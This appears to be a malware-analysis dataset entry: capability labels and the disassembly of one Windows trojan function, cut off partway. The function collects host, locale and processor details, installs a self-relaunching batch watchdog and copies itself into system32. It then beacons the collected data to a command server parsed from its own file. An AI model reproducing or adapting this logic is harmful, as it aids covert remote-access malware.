Function at 0x4095e4
Capabilities:
Act as tcp client
Check if file exists
Check mutex on windows
Connect socket
Connect tcp socket
Copy file
Create process on windows
Create process suspended
Create tcp socket
Create thread
Download and write a file
Get file size
Get geographical location
Get hostname
Initialize winsock library
Query environment variable
Query or enumerate registry value
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x33c
mov dword [esp], 1
call sub.KERNEL32.dll_SetErrorMode
sub esp, 4
lea ebx, [ebp - 0x2bc]
mov al, 0
mov edx, 0x94
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x2bc], 0x94
mov word [ebp - 0x42], 0x202
mov dword [ebp - 0xc8], 0x100
mov dword [ebp - 0xcc], 0x100
mov dword [ebp - 0xd0], 0x100
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x55], 0
mov dword [ebp - 0xf8], 0x10
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x300]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0xf8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf3]
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
lea eax, [ebp - 0x118]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov ecx, eax
call fcn.0041d570
sub esp, 0xc
mov dword [esp + 8], 0
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sub.GDIPLUS.DLL_GdiplusStartup
sub esp, 0xc
mov dword [esp + 8], 0x426723
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov dword [0x42d220], eax
lea eax, [ebp - 0x2bc]
mov dword [esp], eax
call sub.KERNEL32.dll_GetVersionExA
sub esp, 4
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x42d1d4
call sub.msvcrt.dll_memset
mov dword [esp + 4], 0x384
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x5c], eax
mov dword [esp + 4], 0x3e8
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x5c], eax
mov dword [esp + 4], str.__Nuevo_usuario_conectado____Pais_:
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 0xc], pe_nt_image_headers32
lea eax, [ebp - 0x226]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1002
mov dword [esp], 0x800
call sub.KERNEL32.dll_GetLocaleInfoA
sub esp, 0x10
lea eax, [ebp - 0x226]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x426761
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x64], eax
mov dword [esp + 4], 0x100
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x68], eax
mov dword [esp + 4], 0x100
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x6c], eax
mov dword [esp + 4], 0x100
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov dword [esp], str.TpguxbsfNjdsptpguXjoepxt_OUDvssfouWfstjpo
call fcn.0040272b
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], str.TpguxbsfNjdsptpguXjoepxtDvssfouWfstjpoJotubmmfs
call fcn.0040272b
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], str.IBSEXBSFEFTDSJQUJPOTztufnDfousbmQspdfttps0
call fcn.0040272b
lea eax, [ebp - 0xdc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x409934
mov eax, dword [ebp - 0xdc]
lea edx, [ebp - 0xc8]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x60]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x425fcd
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xdc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0xe0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4099c6
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xcc]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x64]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProcessorNameString
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xe0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 4], 0x4267cc
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x4267cf
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x78], eax
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x7c], eax
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x80], eax
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x84], eax
mov dword [esp + 4], 0x2bc
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0xe4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x409b23
mov eax, dword [ebp - 0xe4]
lea edx, [ebp - 0xd0]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x7c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.InstallerLocation
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
jmp 0x409b46
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_system32_
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0xe4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
test eax, eax
setg al
test al, al
je 0x409bbb
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 8], 0x104
mov edx, dword [ebp - 0x78]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], str.bootcfg.cmd
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0x7c]
add eax, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], str.bootcfg.cmd
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], 0x426496
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0x80]
add eax, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x426496
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x80]
mov dword [esp + 8], eax
mov dword [esp + 4], str._echo_off_n:a_n_tasklist__m__find__i__USER32.COM__nif_errorlevel_1__start__s__nping__n_20_localhost_nul_ngoto:a
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [ebp - 0x2c], eax
jmp 0x409ca8
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x78]
add eax, edx
mov al, byte [eax]
cmp al, 0x5c
jne 0x409ca5
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, dword [ebp - 0x2c]
not edx
add eax, edx
mov edx, dword [ebp - 0x2c]
lea ecx, [edx + 1]
mov edx, dword [ebp - 0x78]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x409cb3
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0
setg al
test al, al
jne 0x409c5f
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
not eax
shr eax, 0x1f
test al, al
je 0x409cea
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x80]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileA
sub esp, 0xc
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 7
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xffffffff
je 0x409d9a
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xc4]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x409dab
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
je 0x409e01
cmp dword [ebp - 0x90], 0
jne 0x409e1c
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, 1
jmp 0x40ad1d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 7
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
cmp dword [ebp - 0x94], 0
je 0x409eab
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xc0]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [ebp - 0x1c], 0
jmp 0x409f37
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2b
jne 0x409f34
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2b
jne 0x409f34
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2a
jne 0x409f34
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 3]
mov eax, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2a
jne 0x409f34
mov eax, dword [ebp - 0x1c]
add eax, 4
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x94]
mov ecx, edx
sub ecx, eax
mov eax, ecx
sub eax, 4
mov dword [ebp - 0x20], eax
jmp 0x409f47
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x94]
setbe al
test al, al
jne 0x409ed3
mov dword [esp + 4], 0xa0
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [0x42d488], eax
mov dword [ebp - 0x30], 0
jmp 0x409fa7
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
jne 0x409fa4
mov eax, dword [0x42d488]
mov edx, dword [ebp - 0x30]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x30]
inc eax
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x20], eax
jmp 0x409fb4
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x20]
setbe al
test al, al
jne 0x409f6c
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x28]
mov al, byte [eax]
mov byte [ebp - 0x95], al
mov eax, dword [ebp - 0x28]
mov al, byte [eax + 2]
mov byte [ebp - 0x96], al
mov eax, dword [ebp - 0x28]
mov al, byte [eax + 4]
mov byte [ebp - 0x97], al
mov eax, dword [ebp - 0x28]
mov al, byte [eax + 6]
mov byte [ebp - 0x98], al
mov eax, dword [ebp - 0x28]
mov al, byte [eax + 7]
mov byte [ebp - 0x126], al
mov dword [ebp - 0x38], 8
jmp 0x40a01c
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
lea ecx, [ebp - 0x126]
mov edx, dword [ebp - 0x34]
add edx, ecx
mov byte [edx], al
inc dword [ebp - 0x34]
inc dword [ebp - 0x38]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, 0x2c
setne al
test al, al
jne 0x409fff
lea eax, [ebp - 0x126]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x9c], eax
mov dword [esp], 0xbb8
call sub.KERNEL32.dll_Sleep
sub esp, 4
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete al
test al, al
je 0x40a07d
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp], 0x42d240
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
test eax, eax
setle al
test al, al
je 0x40a0b9
mov dword [esp], str.homedrive
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_boot.com
mov dword [esp], 0x42d240
call sub.USER32.dll_wsprintfA
cmp byte [ebp - 0x97], 0x30
je 0x40a0f3
cmp byte [ebp - 0x97], 0x30
je 0x40a0f3
cmp byte [ebp - 0x97], 0
je 0x40a0f3
cmp byte [ebp - 0x97], 0x31
je 0x40a0f3
cmp byte [ebp - 0x97], 0x31
je 0x40a0f3
cmp byte [ebp - 0x97], 1
jne 0x40a434
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x40a1c3
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 7
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xffffffff
je 0x40a1b2
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xc4]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40a1c3
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 4], 0x426496
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
setne al
test al, al
je 0x40a2db
mov dword [esp], str.cmd.exe
call fcn.00401c15
sub esp, 4
test al, al
je 0x40a258
mov dword [esp], str.tasklist.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.find.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.PING.EXE
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.conhost.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], 0x426496
call fcn.00401aa6
sub esp, 4
jmp 0x40a1e9
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0x108]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x300]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp + 4], 0x426496
mov eax, dword [ebp - 0x84]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
sete al
test al, al
je 0x40a434
mov dword [esp], str.cmd.exe
call fcn.00401c15
sub esp, 4
test al, al
jne 0x40a327
mov dword [esp], str.CMD.EXE
call fcn.00401c15
sub esp, 4
test al, al
je 0x40a32b
mov al, 1
jmp 0x40a32d
mov al, 0
test al, al
je 0x40a37e
mov dword [esp], str.tasklist.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.find.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.PING.EXE
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.conhost.exe
call fcn.00401aa6
sub esp, 4
jmp 0x40a301
nop
mov dword [esp], 0x5dc
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0x108]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x300]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete al
test al, al
je 0x40a434
mov eax, dword [0x42d220]
mov dword [esp], eax
call sub.KERNEL32.dll_ReleaseMutex
sub esp, 4
mov eax, dword [0x42d220]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
nop
mov eax, esp
mov ebx, eax
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
movzx eax, word [ebp - 0x42]
mov dword [esp + 4], 0x42d040
mov dword [esp], eax
call sub.WS2_32.dll_WSAStartup
sub esp, 8
test eax, eax
setne al
test al, al
je 0x40a499
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, 0
jmp 0x40ad01
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
mov dword [0x42d1d0], eax
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
je 0x40a4d1
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
jne 0x40a4ff
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, 0
jmp 0x40ad01
mov eax, dword [0x42d488]
mov dword [esp], eax
call sub.WS2_32.dll_gethostbyname
sub esp, 4
mov dword [0x42d1e4], eax
mov word [0x42d1d4], 2
mov eax, dword [0x42d1e4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [0x42d1d8], eax
mov eax, dword [ebp - 0x9c]
movzx eax, ax
mov dword [esp], eax
call sub.WS2_32.dll_htons
sub esp, 4
mov word [0x42d1d6], ax
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov dword [esp], 0x42d1dc
call sub.msvcrt.dll_memset
mov byte [ebp - 0x55], 0
mov eax, dword [0x42d1d0]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x42d1d4
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
mov word [0x42d48c], ax
mov ax, word [0x42d48c]
cmp ax, 0xffff
jne 0x40a5b5
mov byte [ebp - 0x55], 1
call fcn.004015c1
mov eax, dword [0x42d468]
mov dword [esp], eax
call sub.USER32.dll_UnhookWindowsHookEx
sub esp, 4
jmp 0x40a568
mov byte [ebp - 0x55], 0
cmp byte [ebp - 0x55], 0
je 0x40a5ed
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, 0
jmp 0x40ad01
mov dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov esi, eax
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, esi
add eax, 0x1f3
mov dword [ebp - 0xa4], eax
lea edx, [eax + 1]
mov eax, 0x10
dec eax
add eax, edx
mov dword [ebp - 0x30c], 0x10
mov edx, 0
div dword [ebp - 0x30c]
imul eax, eax, 0x10
call fcn.0041c838
sub esp, eax
lea eax, [esp + 0x28]
add eax, 0
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x64]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x60]
mov dword [esp + 8], edx
mov dword [esp + 4], str.informa_s_s
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ecx, eax
mov edx, dword [ebp - 0xa8]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0xf3]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0xf3]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d1d8]
mov dword [esp], eax
call sub.WS2_32.dll_inet_ntoa
sub esp, 4
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov esi, eax
mov eax, dword [0x42d1d8]
mov dword [esp], eax
call sub.WS2_32.dll_inet_ntoa
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], esi
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [ebp - 0x3c], 0
jmp 0x40a834
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax*4 + 0x420100]
lea edx, [ebp - 0xd8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], eax
